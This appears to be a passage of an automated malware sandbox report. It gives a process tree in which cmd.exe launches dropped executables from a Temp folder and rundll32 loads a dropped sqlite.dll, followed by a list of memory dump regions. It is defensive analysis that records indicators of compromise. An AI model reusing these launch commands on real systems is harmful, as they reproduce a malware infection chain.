                                                                                                                                                                C:\Windows\system32\cmd.exe /c Thu113e650b5e.exe
                                                                                                                                                                4⤵
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                PID:1136
                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c Thu117e9466431bbb9f.exe /mixone
                                                                                                                                                                4⤵
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                PID:1560
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu117e9466431bbb9f.exe
                                                                                                                                                          Thu117e9466431bbb9f.exe /mixone
                                                                                                                                                          1⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:1608
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS887C4051\Thu113e650b5e.exe
                                                                                                                                                          Thu113e650b5e.exe
                                                                                                                                                          1⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          PID:836
                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                          1⤵
                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                          PID:2580
                                                                                                                                                        • C:\Windows\system32\rundll32.exe
                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                          1⤵
                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                          PID:2572

                                                                                                                                                        Network

                                                                                                                                                        MITRE ATT&CK Enterprise v6

                                                                                                                                                        Replay Monitor

                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                        Downloads

                                                                                                                                                        • memory/1000-194-0x0000000140000000-0x0000000140650000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          6.3MB

                                                                                                                                                        • memory/1240-87-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          100KB

                                                                                                                                                        • memory/1240-83-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          1.5MB

                                                                                                                                                        • memory/1240-92-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          152KB

                                                                                                                                                        • memory/1240-91-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          1.5MB

                                                                                                                                                        • memory/1240-84-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          100KB

                                                                                                                                                        • memory/1240-82-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          572KB

                                                                                                                                                        • memory/1240-86-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          100KB

                                                                                                                                                        • memory/1240-89-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          572KB

                                                                                                                                                        • memory/1240-88-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          100KB

                                                                                                                                                        • memory/1240-85-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          152KB

                                                                                                                                                        • memory/1536-209-0x0000000000240000-0x000000000024B000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          44KB

                                                                                                                                                        • memory/1536-196-0x00000000012C0000-0x00000000012C1000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/1576-186-0x0000000001160000-0x0000000001161000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/1592-204-0x000000001B110000-0x000000001B112000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          8KB

                                                                                                                                                        • memory/1592-198-0x0000000001010000-0x0000000001011000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/1596-189-0x0000000000910000-0x0000000000911000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/1612-202-0x0000000000A20000-0x0000000000AF4000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          848KB

                                                                                                                                                        • memory/1612-203-0x0000000000400000-0x00000000004D7000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          860KB

                                                                                                                                                        • memory/1644-53-0x00000000754B1000-0x00000000754B3000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          8KB

                                                                                                                                                        • memory/1736-188-0x0000000000400000-0x000000000046D000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          436KB

                                                                                                                                                        • memory/1960-197-0x00000000008D0000-0x00000000008D1000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/2080-195-0x0000000000260000-0x0000000000261000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/2720-216-0x00000000001B0000-0x00000000001B1000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/2736-212-0x0000000000E30000-0x0000000000E31000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/2736-215-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/2800-222-0x00000000002C0000-0x00000000002C1000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/2944-226-0x000000013F5E0000-0x000000013F5E1000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/2988-229-0x00000000001F0000-0x00000000001F1000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB

                                                                                                                                                        • memory/3032-232-0x0000000001240000-0x0000000001241000-memory.dmp

                                                                                                                                                          Filesize

                                                                                                                                                          4KB